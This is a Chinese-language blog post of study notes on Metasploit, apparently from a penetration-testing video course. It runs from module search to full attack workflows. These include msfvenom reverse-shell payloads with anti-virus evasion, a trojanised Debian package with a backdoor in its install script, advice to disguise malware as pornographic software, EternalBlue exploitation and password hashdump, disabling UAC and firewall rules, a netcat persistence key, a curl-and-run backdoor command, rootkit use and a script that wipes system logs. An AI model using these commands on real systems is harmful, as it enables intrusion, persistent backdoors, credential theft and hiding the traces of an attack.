  1. 插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、openVAS 漏洞扫描器等,为用户接口提供一些新的功能。
  2. 接白:包括 msfconsole 控制终端、msfdi 命令行、msfigi 形化界面、armitage 图形化界面以及 msfapi 远程调用接口。
  3. 功能程序:metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件C 语言JavaScript 语言等多种形式,并可以进行各种类型的编码。

文件结构

/usr/share/metasploitframework/

  • data:Metasploit 使用的可编辑文件
  • documentation:为框架提供文档
  • Iib:框架代码库
  • modules:实际的 MSF 模块
  • plugins:可以在运行时加载的插件
  • scripts:Meterpreter 和其他脚本
  • tools:各种有用的命令行工具

基本使用

Metasploit 需要使用 Postgresql 数据库

Postgresql 概述:
PostgresQL 是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的 POSTGRES4.2 版本为基础的对象关系型数据库管理系统。

注:PostgresQL:世界上最先进的开源关系数据库

扩展:PostgreSQL 和 MySQL 数据的应用场景区别:
从应用场景来说,PoskgresoL 更加适合严格的企业应用场景(比如金融、
电信、ERP、CRM)

而 MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景。

msfdb init

==常用命令(1)==

  1. connect
connect命令主要用于远程连接主机。一般用于内网渗透。
比较常用的命令就是

connect 192.168.1.1 80

image20220122181406545.png

  1. show

    有效参数: all encoders nops exploits payloads auxiliary post plugins info options

  2. search

    当你使用 msfconle 的时候你会用到各种漏洞模块、各种插件等等所以 search 搜索命令就很重要。

    • search name:mysql (默认为 name 可以忽略)

    • 通过路径名进行查找 path:

      有时候,我们只记得模块的路径,但是却忘记了模块的名称。

      那么就可以用 path: 命令查找在该路径下的所有模块。

      如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入:search path:mysql

    • 缩小查询范围 platform:

      Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
      有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。

      使用 platform 命令后,所查询的结果会列出 rank 比较高的模块。

      如果我要查找 mysql 的漏洞,那么输入: search platform:mysql

      会隐藏 rank 为 normal 的模块,只剩下几个比较高级的利用模块

  3. 通过类型进行查找 type:

    后面跟模块名 如 exploit, payload, …

  4. 联合查找

    search name:mysql type:exploit

  5. 根据 CVE 搜索 exploit 相关模块

    search cve:2018 name:linux

CVE 概述:CVE 的英文全称是“Common Vulnerabilities & Exposures” (公共 漏洞 和 暴露 )。
CVE 就好像是一个字典表,为广泛认同的 信息安全漏洞 或者 已经暴露出来的弱点 给出一个公共的名称
使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得 CVE 成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞。

如果有 CVE 名称,你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息解决安全问题。

样例:

2017年GitHub上公开了CVE-2017-8464漏洞的metasploit frame work利用模块。利用此模块在
Windows10x64(Build14393)版本上测试有效。
	现在此模块已经加入metasploit中了。
	通过执行cve_2017_8464_Ink_rce.rb模块,将生成大量的Ink文件(对应盘符从D到Z)和要加载
的.dll文件(后门文件)。将所有样本文件拷到U盘里,然后将U盘插到Windows7机器上,默认自动执
行。

搜索这个模块: search cve:CVE-2017-8464 type:exploit

==常用命令(2)==

  • use: 装载渗透攻击模块

    use exploit/windows/smb/ms08_067_netapi

  • back: 退出

  • info:

    • info <module name>
    • info after use
  • show options: 查看模块相关参数信息

    • set <option> <value>
    • unset <option>
  • exploit OR run: 执行当前模块

Rank

每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序。

  1. excellent 漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、
    本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
  2. great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服
    务的版本检查之后可以返回到一个特定的返回地址。
  3. good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的 Windows7,服务器的 2012 等)
  4. normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且 不能 或者 不能可靠 地自动检测
  5. average 该漏洞利用程序不可靠或者难以利用
  6. low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
  7. manual 该漏洞利用程序不稳定 或者难以利用 并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。

实战:永恒之蓝

https://www.bilibili.com/video/BV17M4y1578y?p=45

image20220122233402594.png

可以先扫描目标主机是否有类似漏洞

set payload windows/x64/shell/reverse_tcp

注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的。可返回 shell,也可以进行程序注入等。

利用 vulnerability 来在远程利用 payload 建立稳定连接

获取到 shell 后乱码可以通过 chcp 65001 来设置 UTF-8 编码以次解决问题。

exploit -j: 保存当前会话 在后台运行

sessions -i id: 进入会话

background: 将当前会话放在后台

sessions -k id: 删除会话

总结使用 metasploit 攻击的步骤:

  1. 查找 CVE 公布的漏洞
  2. 查找对应的 exploit 模块
  3. 配置模块参数
  4. 添加 payload 后门
  5. 执行 exploit 开始攻击

实战: 使用 msf 扫描靶机上的 mysql 服务空密码

https://www.bilibili.com/video/BV17M4y1578y?p=46

help 翻译

banner 显示一个 metasploit 横幅

cd 更改当前的工作目录

color 切换颜色

connect 连接与主机通信

exit 退出控制台

get 获取特定于上下文的变量的值

==getg 获取全局变量的值==

==grep grep 另一个命令的输出 如: grep creds==

history 显示命令历史

irb 进入 irb 脚本模式

load 加载一个框架插件

quit 退出控制台

route 通过会话路由流量

save 保存活动的数据存储

==sessions 转储会话列表并显示有关会话的信息==

==set 将特定于上下文的变量设置为一个值==

setg 将全局变量设置为一个值

sleep 在指定的秒数内不做任何事情

spool 将控制台输出写入文件以及屏幕

threads 线程查看和操作后台线程

unload 卸载框架插件.

unset 取消设置一个或多个特定于上下文的变量

unsetg 取消设置一个或多个全局变量

version 显示框架和控制台库版本号

模块命令

advanced 显示一个或多个模块的高级选项
==back 从当前上下文返回==

edit 使用首选编辑器编辑当前模块

==info 显示有关一个或多个模块的信息==

loadpath 路径从路径搜索并加载模块

==options 显示全局选项或一个或多个模块==

popm 将最新的模块从堆栈中弹出并使其处于活动状态

previous 将之前加载的模块设置为当前模块

pushm 将 活动 OR 模块列表 推入堆栈

reload_all 从所有定义的模块路径重新加载所有模块

==search 搜索模块名称和描述==

show 显示给定类型的模块或所有模块

==use 按名称选择模块==

工作命令

handler 作为作业启负处理程序

==jobs 显示和管理作业==

==kill 杀死一个工作==

rename_job 重命名作业

资源脚本命令

makerc 保存从开始到文件输入的命令

resource 运行储存在文件中的命令

数据库后端命令

db_connect 连接到现有的数据库

==db_disconnect 断开与当前数据库实例的连接==

==db_export 导出包含数据库内容的文件==

db_import 导入扫描结果文件(文件类型将被自动检测)

db_nmap 执行 nmap 并自动记录输出

db_rebuild_cache 重建数据库存储的模块高速缓存

db_status 显示当前的数据库状态

hosts 列出数据库中的所有主机

Ioot 列出数据库中的所有战利品

notes 列出数据库中的所有笔记

services 列出数据库中的所有服务

vulns 列出数据库中的所有漏洞

凭证(credential)后端命令

==creds 列出数据库中的所有凭证==

Metasploit 渗透测试 之 信息收集

基于 TCP 协议收集主动信息

我们前面学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具 NESSUS。

接下来给大家讲解使用 Metasploit 来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式

比如 获取服务器的硬件信息、系统用户信息、进程信息等。

使用 Metaspolit 的 nmap 和 arp_sweep 收集信息

db_nmap -sV ip

use auxiliary/scanner/discovery/arp_sweep

端口扫描

search portscan

使用 auxiliary/sniffer 下的 psnuffle 模块进行密码嗅探

image20220123231351314.png

search psnuffle

拓展: Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包

jobs -> kill <id> 来暂停嗅探

SNMP

简单网络管理协议(SNMP, Simple Network Management Protocol)

由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。

该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。

search snmp_enum

注: 可以看到通过 snmp 协议探测到的信息非常多。

如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式,获取不到的。

SMB

服务器消息块(Server Message Block),缩写为 SMB),又称网络文件共享系统(Common Internet File System,缩写为 CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。

search smb_version

使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。

使用 smb_lookupsid 扫描系统用户信息(SID 枚举)

SSH

Version Information

search ssh_version

Brute Force to crack ssh pwd

search ssh_login

/usr/share/metasploit-framework/data/wordlists: 字典

FTP

Version Information

利用漏洞

search 2.3.4

ftp 匿名(anonymous)登陆扫描

search auxiliary/scanner/ftp/

BF to crack pwd

search ftp_login

制作 windows 和 linux 客户端恶意软件进行渗透

在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个 word 文档、pdf 文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。

客户端渗透技巧:

通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们

将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。

WINDOWS

msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听上线。

image20220123235047187.png

  1. 生成后门程序
  • msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LP0RT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/1.exe

    • -b \x00: 去掉空字符
    • -p: 攻击载荷,通过 --l payloads 查看所有 payloads
    • -e: 编码器
    • -i : 编码次数(值越大,文件越大,使杀毒软件更难查出源代码)
    • -f : 指定生成格式,可以是 raw, exe, elf, jar, c 语言的, python 的, java 的, .….. 用-l formats 查看所有支持的格式 --l platforms
  • 通过 metasploit 的 evasion 生成后门

    use evasion/windows/windows_defender_exe

image20220126224447025.png

  1. 在 MSF 上启动 handler 开始监听后门程序

use exploit/multi/handler

  1. 测试

使用 virustotal 检测下生成后门的免杀能力 http://www.virustotal.com/是一个免费的病毒,蠕虫,木马和各种恶意软件分析服务,可以针对可疑文件和网址进行快速检测,最初由 Hispasec 维护。

它与传统杀毒软件的不同之处是它通过多种杀毒引擎扫描文件。使用多种反病毒引擎可以令用户们通过各杀毒引擎的侦测结果,判断上传的文件是否为恶意软件。

Linux

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/exploit

  • -f: 可执行文件类型

制作恶意 deb 包

制作恶意软件包使用 apt install --download-only 方式下载软件包不进行安装

存放在 /var/cache/apt/archives

dpkg -x xxx.deb dest

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -i 10 -f elf -o dst

创建软件包信息目录

mkdir dst/DEBIAN

tee dst/DEBIAN/control << 'EOF'

EOF: 结束标识符

Package: freesweep
Version: 1.0.1-1
Section: Games and Amusemente
Priority: optional Architecture: amd64.
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweepere Freesweep is an implementation of the popular minesweeper game, wheree one tries to find all the mines without igniting any, based on hints givene by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and ine most text-based terminals currently in use
EOF

tee dst/DEBIAN/postinst << 'EOF'

#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &  # 恶意代码
EOF

dpkg-deb --build dst

利用 0day 双杀-java 环境-宏感染-安卓客户端进行渗透

利用 0DAY 漏洞 CVE-2018-8174 获取 shell

0DAY 漏洞 最早的破解是专门针对软件的,叫做 WAREZ,后来才发展到游戏,音乐,影视等其他内容的。

Oday 中的 0 表示 zero,早期的 0day 表示在软件发行后的 24 小时内就出现破解版本,现在我们已经引申了这个含义,只要是在软件或者其他东西发布后,在最短时间内出现相关破解的,都可以叫 0day。

0day 是一个统称,所有的破解都可以叫 0day

CVE-2018-8174 漏洞影响最新版本的 1E 浏览器及使用了 E 内核的应用程序。用户在浏览网页或打开 0 ffice 文档时都可能中招,最终被黑客植入后门木马完全控制电脑。微软在 2018 年 4 月 20 日早上确认此漏洞,并于 2018 年 5 月 8 号发布了官方安全补丁,对该 0day 漏洞进行了修复,并将其命名为 CVE-2018-8174。

https://www.bilibili.com/video/BV17M4y1578y?p=59

Jre17

use multi/browser/java_jre17_driver_manager

宏感染

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -e x86/shikata ga_nai -i 10 -f vba-exe

APK

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 R > xuegod.apk

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

https://www.bilibili.com/video/BV17M4y1578y?p=63

==Metasploit 渗透测试 之 制作隐藏后门==

使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透

永恒之蓝概述:
永恒之蓝是指 2017 年 4 月 14 日晚,黑客团体 Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具, "永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日,不法分子通过改造“永恒之蓝"制作了 wannacry 勒索病毒

英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010

永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Vindows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。~

search ms17_010

RDP

run post/windows/manage/enable rdp USERNAME=Hacker PASSWORD=123456

新建的用户并非隐藏

关闭主机防护策略并开启后门

打开目标主机的 shell: shell

通过 ms17-010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。

密码

SAM概述:SAM文件即账号密码数据库文件,SAM文件的位置是:

C: \Windows\System32\config\SAM

hashdump

防火墙

我们创建一条防火墙规则允许 4444 端口访问网络,否则我们建立 session 时 payload 不能通过 4444 端口访问网络导致 session 建立失败

netsh firewall add portopening TCP 4444 "test1" ENABLE ALL

UAC

cmd.exe /k %windir%\system32\reg.exe ADD HKLM\SOFTWARE\Microsoft\windows\currentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

开启默认共享

cmd.exe /k %windir\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio \Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

扩展: psexec 实用程序在远程系统上需要做一些事情

服务器消息块(SMB)服务必须可用并且可以访问(例如,未被防火墙阻止;必须启用文件和打印共享。 Admin$ 共享必须可用并且可以访问,它是一个隐藏的 SMB 共享,它映射到 Windows 目录,用于软件部署。

提供给 psexec 实用程序的凭据必须具有访问 Admins 共享的权限, psexec 的可执行文件内有 Windows 服务映像。它接受此服务并将其部署到远程计算机上的 Admin$ 共享中。然后,它使用 SMB 上的 DCE/RPC (分布式计算环境/远程过程调用)接口来访问 Windows Service Control Manager API,它将打开远程计算机上的 psexec 服务。然后 psexec 服务创建一个可用于将命令发送到系统的命名管道,

use exploit/windows/smb/ms17_010_psexec

set SMBpass xxx 直接用 hashdump 中的

利用 nc.exe 常驻目标机后台以实现后门

reboot: 重启

nc ip port: 连接目标主机

开机启动

(不在 shell 中 metasploit 内置)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'c:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

  • -k: The registry key path (E.g. HKLM\Software\Foo).
  • -v: The registryvalue name (E.g. Stuff).
  • -d: The data to store in the registry value.

c:\windows\system32\nc.exe -Ldp 443 -e cmd.exe

  • -L: 表示用户退出连接后重新进行端口侦听
  • -d: 后台运行
  • -p: 指定端口
  • -e prog: 程序重定向,一旦连接,就执行

防火墙允许 443 端口访问网络否则开机的时需要用户点击允许访问网络才可以成功执行。

netsh firewall add portopening TCP 443 "test2" ENABLE ALL

上传与执行

upload local remote: 上传文件

execute -f file: 运行目标主机上的文件

Linux 无文件木马程序

Vegile 是用于 linux 系统渗透测试中的权限维持。

Vegile 这个工具将设置一个后门/rootkit,并且这个后门会直接隐藏进程,无限连接 metesploit,持续维持你的 Metepreter 会话,即使木马进程被杀死,它依然会再次重新运行,换句话说是该进程无限循环的。

常用方法:

  • ./Vegile –i 隐藏你的后门
  • ./Vegile –u 无限复制你的 metasploit 会话,即使被 kill,依然可以再次运行

注意:

木马一定要放在 Vegile 目录

Vegile 一般用于维持 meterpreter 会话

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o lb-ghost

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=8080 -b "\x00" -f elf -o lb-backdoor

之后正常操作

linux/x64/shell/reverse_tcp

注:这个 payload 中的 shell 是没有 bash 提示符的,所以不要以为失败了.

创建无文件后门程序

配置监听 4444 端口

wget 192.168.1.53/Vegile.tar.gz

./Vegile --i lb-ghost

bash <(curl -s -L http://192.168.1.53/backdoor.sh) >> /dev/null 2>&1

开机启动

/etc/rc.local

crontab

日志清理

windows

clearv

linux

清理历史命令:

history -c

使系统不再保存历史命令:

vi /etc/profile,找到 HISTSIZE 这个值,修改为 0

删除访问日志

  1. 访问失败的日志

    image20220126224447025.png

    echo > /var/log/btmp

  2. 访问成功的日志
    image20220126224436657.png

    echo > /var/log/wtmp (此时执行 last 命令就会发现没有记录)

  3. 删除日志记录

    echo > /var/log/secure

汇总脚本

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/loq/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c

FRP 内网穿透服务器在渗透中的应用

局域网主机上网原理

实现局域网内主机上网的技术叫做 NAT 技术,IPV4 设计之初没有想到互联网发展的如此迅速,以至于有一天人们意识到 P 资源有耗尽的可能性,所以有了 NAT 网络地址转换来解决局域网内所有主机仅通过 1 个公网 P 进行上网,以节省公网 IP 资源。

在 2019/11/25 日全球的 Pv4 地址已经彻底耗尽。

image20220127160139138.png

如图中所示,公网 IP 是绑定在 NAT 网关上,而 NAT 网关负责将私网地址转换为公网地址然后访问互联网资源,互联网资源返回数据包时则对照 NAT 表将数据包中的公网地址转换为私网地址,也就是将应答返回给发起请求的主机。

image20220127160349944.png

  1. 内网 172.18.250.6 主机请求访问百度,百度的 IP 地址为 202.108.22.5,此时内网主机发起请求,此时数据包结构:源 IP 地址是 172.18.250.6 目的 IP 地址为 202.108.22.5
  2. 当数据包经过 NAT 网关时, NAT 网关将源 IP 地址修改为 219.155.6.240,相当于路由器代替我们访问了百度服务器一样,并记录下是内网哪台机器发出的请求
  3. 百度收到 219.155.6.240 发来的数据包请求并做出相应,返回数据包:源 IP 地址:202.108.22.5 目的地址 IP: 219.155.6.240
  4. NAT 网关收到百度的应答包,根据 NAT 关联表得知该请求是内网的 172.18.250.6 发起的,所以将目的地址修改为 172.18.250.6 并将数据包转发至 172.18.250.6,此时内网主机和百度就产生了一次交互 后续建立链接以及交互的方式同上。

在内网发布服务使之可在公网访问

我们分析 NAT 工作过程中可以得知整个过程进行了 2 次 IP 地址转换

第一次将请求包的源 P 地址源地址转换称之为 SNAT,其中 S 表示 source 表示源;

第二次转换应答包的目的地址也被称之为目的地址转换 DNAT,D 表示 Destination 表示目的地,DNAT 转换可以使互联网访问到内网的主机,我们单独配置 DNAT 就可以实现外部网络访问内网主机。

通过端口映射发布服务的方式:
端口映射是比较灵活的映射内网各个不同主机的方式,需要对外发布的服务端口,端口映射的配置方式也比较简单,一般情况可通过路由器配置

但是通过路由器配置端口映射需要有一个前提条件,就是你路由器能够拥有一个公网 IP

按正常逻辑来说我们路由器拨号成功后运营商会分配一个公网 IP 给路由器,但是对于运营商来说这样对 1Pv4 的资源也是种负担。如果每个人都有一个公网 IP,那么国内的 IPv4 资源将会非常紧张,我国总计约有 3 亿个 IPv4 地址,而我国网民何止 3 亿。

所以运营商会在路由器拨号中再 <u> 嵌套一层内网 </u>,也就是说我们路由器拨号得到的 IP 地址也是一个 <u> 内网地址 </u>,然后由 <u> 运营商的路由网关再做 NAT 地址转换进行上网 </u>

FRP

image20220127161752663.png

  • 笔记

    好记性不如烂笔头。

    308 引用 • 793 回帖 • 1 关注
  • Kali
    12 引用 • 5 回帖 • 1 关注
  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

    943 引用 • 943 回帖
1 操作
littleblackLB 在 2022-02-15 17:58:32 更新了该帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...